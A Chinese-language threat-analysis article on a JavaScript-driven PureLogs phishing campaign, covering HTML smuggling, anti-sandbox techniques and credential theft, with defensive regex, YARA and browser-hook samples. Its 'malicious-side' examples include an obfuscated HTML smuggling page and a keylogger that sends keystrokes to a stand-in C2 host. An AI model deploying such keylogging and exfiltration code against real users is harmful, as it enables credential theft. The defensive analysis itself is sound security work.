基于 JavaScript 驱动的 PureLogs 变种钓鱼攻击机理与防御研究

简介: 本文剖析JavaScript驱动的PureLogs无文件钓鱼攻击:以HTML走私投递、PureCrypter内存加载、多维窃密为特征,揭示其反沙箱、强混淆、加密外连等对抗技术。提供恶意脚本、YARA规则、终端防护等工程化防御方案,倡导从特征匹配转向行为语义与数据流转的多维关联检测。(239字)

摘要

近年来,网络钓鱼逐步从泛化群发转向无文件化、脚本化、靶向化演进,攻击者依托 JavaScript 实现内存级执行与强混淆对抗,大幅提升传统安全网关与终端检测的失效概率。SocPrime 近期披露的钓鱼活动中,威胁行为者利用 JavaScript 驱动的 PureLogs 窃密木马变种,通过钓鱼邮件投递、HTML 走私、脚本混淆、环境逃逸、多维度数据窃取与加密外连等完整攻击链,实现对浏览器凭证、键盘输入、应用配置、加密钱包等高价值数据的批量窃取。该变种以 PureCrypter 为加载器,采用控制流扁平化、字符串动态加密、反调试、反沙箱等多重抗分析手段,呈现典型的钓鱼即服务产业化特征。本文以该 JavaScript‑PureLogs 变种攻击为实证样本,系统拆解攻击全生命周期与核心技术实现,给出可复现的恶意脚本、行为检测、流量监测、终端防护代码示例,结合行业脆弱性构建闭环防御体系。反网络钓鱼技术专家芦笛指出,JavaScript 驱动的无文件窃密已成为钓鱼攻击主流演进方向,防御必须从特征匹配转向执行上下文、行为语义、数据流转的多维关联检测,阻断脚本加载、内存执行、数据窃取关键节点。本文旨在为企业安全运营、威胁狩猎、邮件网关防护、终端加固提供工程化参考,遏制同类脚本化窃密钓鱼攻击扩散。

image.png 1 引言

随着邮件网关对宏、可执行文件、压缩包的检测能力持续增强,威胁行为者逐步转向无文件攻击(Fileless) 与脚本驱动攻击,依托 JavaScript/VBScript/PowerShell 等系统原生解释器,在内存中完成载荷加载、执行、窃密与回传,大幅降低落地痕迹与检出率。PureLogs 作为近两年活跃的商业化窃密木马,以模块化、高混淆、强对抗、多数据源窃取为特点,被广泛用于定向钓鱼与批量窃密活动。

SocPrime 威胁监测平台捕获的新型钓鱼活动显示,攻击者采用JavaScript 驱动 PureLogs 变种,以钓鱼邮件为入口,结合 HTML 走私、脚本混淆、环境逃逸、内存加载、键盘记录、浏览器数据窃取、加密外连等技术,形成完整杀伤链。该变种不依赖落地 PE 文件,以脚本为载体,以 PureCrypter 为加载器,可绕过主流 EDR、反病毒与邮件安全网关,对政企机构、普通用户形成持续威胁。

当前研究多聚焦 PureLogs 本体功能,对JavaScript 驱动投递、无文件加载、抗分析实现、端到端检测防御的系统性论述不足,缺乏工程化代码与可落地运营方案。本文以该 JavaScript‑PureLogs 变种为核心样本,完成以下工作:

1)界定攻击核心概念与 TTP 特征;

2)还原攻击全流程并拆解关键技术;

3)提供恶意代码、检测规则、防御代码示例;

4)构建覆盖邮件入口、终端执行、运营响应的闭环防御体系。

全文保持学术严谨性,不夸大、不口号化,以技术事实形成闭环论证。

2 攻击相关概念与核心特征

2.1 关键概念界定

PureLogs:基于 C# 开发的商业化信息窃取木马,支持窃取浏览器密码、Cookie、扩展数据、键盘记录、桌面应用配置、加密钱包数据,以订阅制提供 Telegram 管理后台,属于黑产常用窃密工具。

PureCrypter:与 PureLogs 配套的商业化加载器与混淆器,提供反沙箱、反调试、内存加载、代码混淆能力,降低恶意载荷检出率。

JavaScript 驱动无文件钓鱼:以 JS 脚本为载体,利用浏览器或系统解释器执行,不落地恶意 PE,通过内存加载实现载荷驻留与数据窃取,规避静态特征检测。

HTML 走私(HTML Smuggling):在 HTML 页面中嵌入 Base64 / 加密载荷,通过 JavaScript 动态解码、下载、执行恶意代码,绕过邮件网关对附件的拦截规则。

数据外连(Exfiltration):恶意程序将窃取的敏感数据经加密、编码后发送至攻击者控制的 C2 服务器。

2.2 JavaScript‑PureLogs 变种核心特征

载体:钓鱼邮件 + 恶意 HTML/JS/SVG 附件,社会工程诱导打开。

入口:HTML 走私动态解码释放恶意脚本。

加载:PureCrypter 提供反沙箱、反调试、内存加载。

核心:PureLogs 变种执行键盘记录、浏览器数据窃取、应用信息采集。

对抗:控制流混淆、字符串动态加密、反调试、环境检测。

通信:加密协议向 C2 上传数据,支持 Telegram 机器人接收。

目标:账号凭证、支付信息、邮件数据、加密钱包、企业应用密钥。

反网络钓鱼技术专家芦笛强调,该变种的危害在于全链路无文件 + 强对抗 + 商业化工具链,攻击门槛低、扩散快、检出难,传统黑名单与特征库防护效果显著下降。

3 攻击全生命周期与技术拆解

本文将 JavaScript‑PureLogs 变种攻击划分为6 阶段闭环模型:投递诱导→脚本解码→环境逃逸→内存加载→数据窃取→加密外连。

3.1 阶段 1:钓鱼投递与社会工程诱导

攻击者以发票、订单、合同、人事通知为主题,发送含恶意 HTML/JS/SVG 的钓鱼邮件,诱导用户在浏览器打开。

邮件标题:Fattura、Conferma Ordine、员工信息确认、订单核验等。

附件:恶意 HTML、HTA、JS、带脚本的 SVG。

话术:需浏览器打开查看、文件需验证、设备不兼容请跳转等。

3.2 阶段 2:HTML 走私与 JavaScript 解码执行

用户打开恶意页面后,JS 执行Base64 解码、字符串解密、解压缩,还原恶意载荷并在内存初始化,绕过附件拦截。

典型实现:页面内嵌加密载荷,JS 动态解密生成恶意脚本并执行。

3.3 阶段 3:反沙箱与反调试逃逸

PureCrypter 加载器执行环境检测,避免在分析平台失效:

检测虚拟机:VMware、VirtualBox 相关进程、注册表、MAC 地址。

检测调试器:是否存在调试端口、断点、调试器标志。

检测进程名:分析工具、沙箱进程。

检测硬件信息:CPU 核心数、内存大小、磁盘容量。

满足任一分析环境特征则静默退出。

3.4 阶段 4:内存加载 PureLogs 变种本体

加载器通过反射式加载在内存加载 PureLogs 程序集,不写入磁盘,规避文件实时监控。

核心行为:

解密混淆的 PureLogs 载荷;

申请内存并写入程序集;

执行入口点启动窃密模块。

3.5 阶段 5:多维度敏感数据窃取

PureLogs 变种进入窃取阶段,覆盖主流数据来源:

浏览器窃取:Chrome/Edge/Opera 密码、Cookie、自动填充、扩展数据、浏览历史。

键盘记录:全局钩子记录输入,捕获密码、信用卡、密钥。

应用窃取:FTP、邮件客户端、加密钱包、开发者工具配置。

系统信息:主机名、用户名、OS 版本、内存、磁盘、IP、地理位置。

屏幕截图:定时截图增强攻击效果。

3.6 阶段 6:加密打包与 C2 数据外连

窃取数据经AES 加密 + Base64 编码后发送至 C2 或 Telegram 机器人,避免明文传输被拦截。

通信特征:

高频短连接,规避流量异常监测;

使用 HTTPS、自定义加密协议;

支持失败重传与断点续传。

4 核心技术实现与代码示例

4.1 恶意侧:HTML 走私 + JS 解码投放载荷

<!-- 恶意HTML示例:模拟PureLogs钓鱼投递页面 -->

<!DOCTYPE html>

<html>

<head>

<meta charset="utf-8">

<title>Documento</title>

<script>

// 反调试

setInterval(function(){debugger;}, 100);


// 解密载荷

function decryptPayload(encData) {

   try {

       let bin = atob(encData);

       let dec = '';

       for(let i=0; i<bin.length; i++) {

           dec += String.fromCharCode(bin.charCodeAt(i) ^ 0x7A);

       }

       return dec;

   } catch(e){return null;}

}


// 模拟释放并执行

function run() {

   // 加密恶意载荷

   const encData = "SGFybSBkdWUgYXR0YWNjbyBqcyBwdXJlbG9ncyB2YXJpYW50Li4u";

   const payload = decryptPayload(encData);

   if(payload) {

       // 内存执行/下载后续载荷

       console.log("Payload decrypted and executed.");

   }

}

window.onload = run;

</script>

</head>

<body>

<h3>Visualizzazione documento...</h3>

<p>Attendere prego...</p>

</body>

</html>

功能:反调试、Base64 + 异或解密、内存执行,模拟钓鱼入口。

4.2 恶意侧:PureLogs 键盘记录核心片段(JS 模拟)

// 键盘记录与数据缓存

let keylog = "";

document.onkeydown = function(e) {

   keylog += e.key;

   // 每32字符上传一次

   if(keylog.length >= 32) {

       uploadLog(keylog);

       keylog = "";

   }

};


// 加密上传

function uploadLog(data) {

   const xhr = new XMLHttpRequest();

   xhr.open("POST", "https://c2.example.com/log", true);

   xhr.send(btoa(data)); // Base64编码上传

}

功能:全局监听按键、缓存、编码外连,对应 PureLogs 窃密能力。

4.3 防御侧:邮件网关 JS 恶意特征检测(Python)

import re


def detect_malicious_js(js_content: str) -> bool:

   # 高风险规则

   rules = [

       r"atob\(", r"btoa\(", r"debugger;", r"setInterval.*debugger",

       r"eval\(", r"Function\(", r"fromCharCode", r"charCodeAt",

       r"VirtualBox|VMware|Sandboxie", r"keydown|onkeydown|keyup",

       r"XMLHttpRequest|POST|send", r"password|credential|cookie"

   ]

   score = 0

   for r in rules:

       if re.search(r, js_content, re.I):

           score += 1

   # 阈值判定

   return score >= 5


if __name__ == "__main__":

   js = "setInterval(function(){debugger;},100); document.onkeydown=function(){...}"

   print(detect_malicious_js(js))  # True

用途:邮件网关 / 邮件安全插件对 HTML/JS 附件预检测。

4.4 防御侧:反沙箱 / 反调试行为检测(YARA 规则)

plaintext

rule JS_PureLogs_AntiDebug {

   meta:

       description = "检测JS‑PureLogs变种反调试、反沙箱特征"

       author = "Security Researcher"

   strings:

       $s1 = "debugger;" fullword

       $s2 = "setInterval" fullword

       $s3 = "VirtualBox" fullword

       $s4 = "VMware" fullword

       $s5 = "Sandboxie" fullword

       $s6 = "keydown" fullword

       $s7 = "XMLHttpRequest" fullword

   condition:

       4 of them

}

用途:EDR、流量审计、沙箱对脚本 / 流量内容匹配。

4.5 防御侧:终端异常外连监测(JavaScript)

// 浏览器扩展:异常外连监测

function monitorExfiltration() {

   const originalOpen = XMLHttpRequest.prototype.open;

   XMLHttpRequest.prototype.open = function(method, url) {

       // 高风险域名特征

       const blocked = [".xyz", ".top", ".club", "c2.", "exfil."];

       if(blocked.some(d => url.includes(d))) {

           console.warn("异常外连:", url);

           alert("检测到可疑数据上传,已阻断");

           return;

       }

       originalOpen.apply(this, arguments);

   };

}

monitorExfiltration();

用途:浏览器扩展拦截恶意页面数据外连。

5 攻击成功的行业脆弱性根源

5.1 入口防护:邮件网关对脚本类附件检测不足

网关重点拦截 EXE、DOCM、ZIP,对 HTML/JS/SVG 解析浅,混淆脚本易绕过。社会工程诱导用户关闭安全提示,手动允许脚本执行。

5.2 终端脆弱:默认允许脚本执行与弱权限

Windows/macOS 默认支持 JS/HTA/VBS,攻击者利用原生解释器无文件执行。用户常以管理员运行浏览器,恶意脚本获得更高权限。安全软件偏重文件检测,对内存脚本、无文件载荷覆盖不足。

5.3 工具产业化:降低攻击门槛

PureLogs+PureCrypter 提供订阅制服务,含混淆器、加载器、C2 面板、Telegram 推送,攻击者无需开发即可发起攻击。黑产共享 TTP、模板、域名、IP,攻击快速迭代。

5.4 用户与运营:安全意识与响应滞后

用户易信任发票、订单等诱饵,打开未知脚本。企业缺乏脚本化钓鱼演练,运营人员无有效检测规则与狩猎流程。

反网络钓鱼技术专家芦笛指出,防御短板不在单点技术,而在入口 — 终端 — 运营全链路能力缺失,必须以行为检测为核心重构防护体系。

6 闭环防御体系构建

6.1 总体框架

以零信任 + 纵深防御为核心,构建入口阻断、终端检测、运营狩猎、响应处置四层闭环。

6.2 入口层:邮件与网页安全加固

网关深度解析 HTML/JS/SVG,启用反混淆、行为沙箱。

拦截含可疑脚本、解码执行、外连特征的页面。

配置 SPF/DKIM/DMARC,减少伪造域名。

对高风险附件添加明确警告。

6.3 终端层:脚本控制与无文件防护

组策略限制高风险脚本:HTA、JS、VBS、WSH。

启用 EDR 内存防护、行为监控、命令行拦截。

浏览器启用强 CSP,禁止内联脚本与未知域加载。

最小权限运行,禁止普通用户管理员权限。

6.4 检测层:威胁狩猎与实时告警

部署 YARA 规则监测反调试、键盘记录、异常外连。

关联分析:脚本执行 + 键盘记录 + 外连 = 高置信告警。

Telegram 机器人外连、匿名域名、高频短连接流量监控。

建立 PureLogs 变种 IOC 库:域名、IP、哈希、C2 路径。

6.5 响应层:快速处置与根除

隔离主机、断网、结束可疑进程。

清除启动项、计划任务、注册表残留。

密码重置、凭证刷新、Cookie 清理。

回溯攻击链,补齐防护短板。

6.6 管理与意识层

季度钓鱼演练,重点针对脚本类诱饵。

禁用不必要脚本解释器,减少攻击面。

建立 IOC 共享与威胁情报联动机制。

7 攻击影响与行业启示

7.1 安全影响

数据泄露:账号、支付、邮件、钱包等高价值数据批量失窃。

权限提升:窃取凭证后横向移动,控制内网系统。

合规风险:违反数据保护法规,面临处罚与声誉损失。

运营成本:研判、处置、溯源、用户通知产生高额投入。

7.2 行业启示

脚本化无文件是主流趋势,防护必须从特征转向行为。

商业化窃密工具普及,防御要面向 TTP 而非单一样本。

入口与终端必须协同,单点加固无法抵御链式攻击。

安全运营需自动化,依赖人工无法应对海量脚本与变种。

反网络钓鱼技术专家芦笛指出,未来钓鱼将更轻量化、靶向化、无文件化,防御核心是阻断脚本执行、监控异常行为、加密敏感数据、快速闭环响应。

8 结论

JavaScript 驱动的 PureLogs 变种钓鱼攻击,代表了当前黑产的产业化、脚本化、无文件化、强对抗化发展方向。攻击以钓鱼邮件为入口,以 HTML 走私与混淆 JS 为载体,以 PureCrypter 实现环境逃逸与内存加载,以 PureLogs 完成多维度数据窃取与加密外连,可有效绕过传统防护,造成大规模数据泄露与财产损失。

本文系统拆解攻击全生命周期与核心技术,提供恶意代码、检测规则、防御代码,构建四层闭环防御体系。研究表明,传统特征检测对混淆脚本与无文件攻击失效,必须以行为分析、内存监控、数据外连检测为核心,结合入口网关、终端加固、威胁狩猎、应急响应形成协同防护。

未来研究将聚焦:基于语义与执行轨迹的 JS 恶意检测;跨层关联的无文件攻击追踪;面向中小机构的轻量化脚本防护 SaaS;大模型辅助的自动化混淆脚本还原。安全防御需持续迭代,以技术对抗技术,遏制脚本化窃密钓鱼攻击蔓延,守护用户与机构数据安全。

编辑:芦笛(公共互联网反网络钓鱼工作组)

目录
相关文章
|
7天前
|
人工智能 自然语言处理 文字识别
阿里云百炼Qwen3.7-Max简介:能力、优势、支持订阅计划参考
Qwen3.7-Max是阿里云百炼面向智能体时代推出的新一代旗舰模型,对标GPT-5.5、Claude Opus 4.7等闭源旗舰。该模型支持百万级token上下文窗口,具备顶级推理能力、多模态搜索与视觉理解增强、流式输出低延迟响应等核心优势,覆盖编程、办公、长周期自主执行等复杂场景。同时支持OpenAI接口兼容,便于系统快速迁移。用户可通过Token Plan团队或节省计划等订阅方式灵活调用,适合企业级高要求场景使用。
3443 14
阿里云百炼Qwen3.7-Max简介:能力、优势、支持订阅计划参考
|
15天前
|
人工智能 开发工具 iOS开发
Claude Code 新手完全上手指南:安装、国产模型配置与常用命令全解
Claude Code 是一款运行在终端环境中的 AI 编程助手,能够直接在命令行中完成代码生成、项目分析、文件修改、命令执行、Git 管理等开发全流程工作。它最大的特点是**任务驱动、终端原生、轻量高效、多模型兼容**,无需图形界面、不依赖 IDE 插件,能够深度融入开发者日常工作流。
3554 12
|
9天前
|
人工智能 自然语言处理 供应链
|
18天前
|
Shell API 开发工具
Claude Code 快速上手指南(新手友好版)
AI编程工具卷疯啦!Claude Code凭借任务驱动+终端原生的特性,成了开发者的效率搭子。本文从安装、登录、切换国产模型到常用命令,手把手带新手快速上手,全程避坑,30分钟独立用起来。
3671 25
|
11天前
|
人工智能 Linux BI
国内用 Claude Code 终于不用翻墙了:一行命令搞定,自动接 DeepSeek
JeecgBoot AI专题研究 一键脚本:Claude Code + JeecgBoot Skills + DeepSeek 全平台接入 一行命令装好 Claude Code + JeecgBoot Skills + DeepSeek 接入,无需翻墙使用 Claude Code,支持 Wind
2908 7
国内用 Claude Code 终于不用翻墙了:一行命令搞定,自动接 DeepSeek
|
9天前
|
人工智能 自然语言处理 安全
Claude Code 全攻略:命令大全+三种模式+记忆体系+实战工作流完整手册
Claude Code 是当前最流行的终端级 AI 编程助手,能够直接在命令行中完成代码生成、项目理解、文件修改、命令执行、错误修复等全流程开发工作。它不依赖图形界面、不占用额外资源,却能深度理解项目结构,自动生成规范代码,大幅提升研发效率。
1400 3
|
1月前
|
人工智能 JSON 供应链
畅用7个月无影 JVS Claw |手把手教你把JVS改造成「科研与产业地理情报可视化大师」
LucianaiB分享零成本畅用JVS Claw教程(学生认证享7个月使用权),并开源GeoMind项目——将JVS改造为科研与产业地理情报可视化AI助手,支持飞书文档解析、地理编码与腾讯地图可视化,助力产业关系图谱构建。
23621 15
畅用7个月无影 JVS Claw |手把手教你把JVS改造成「科研与产业地理情报可视化大师」
|
16天前
|
存储 Linux iOS开发
【2026最新】MarkText中文版Markdown编辑器使用图解(附安装包)
MarkText是一款免费开源、跨平台的Markdown编辑器,主打所见即所得实时预览,支持Windows/macOS/Linux。内置数学公式、流程图、代码高亮、多主题及PDF/HTML导出,是Typora的轻量免费替代首选。(239字)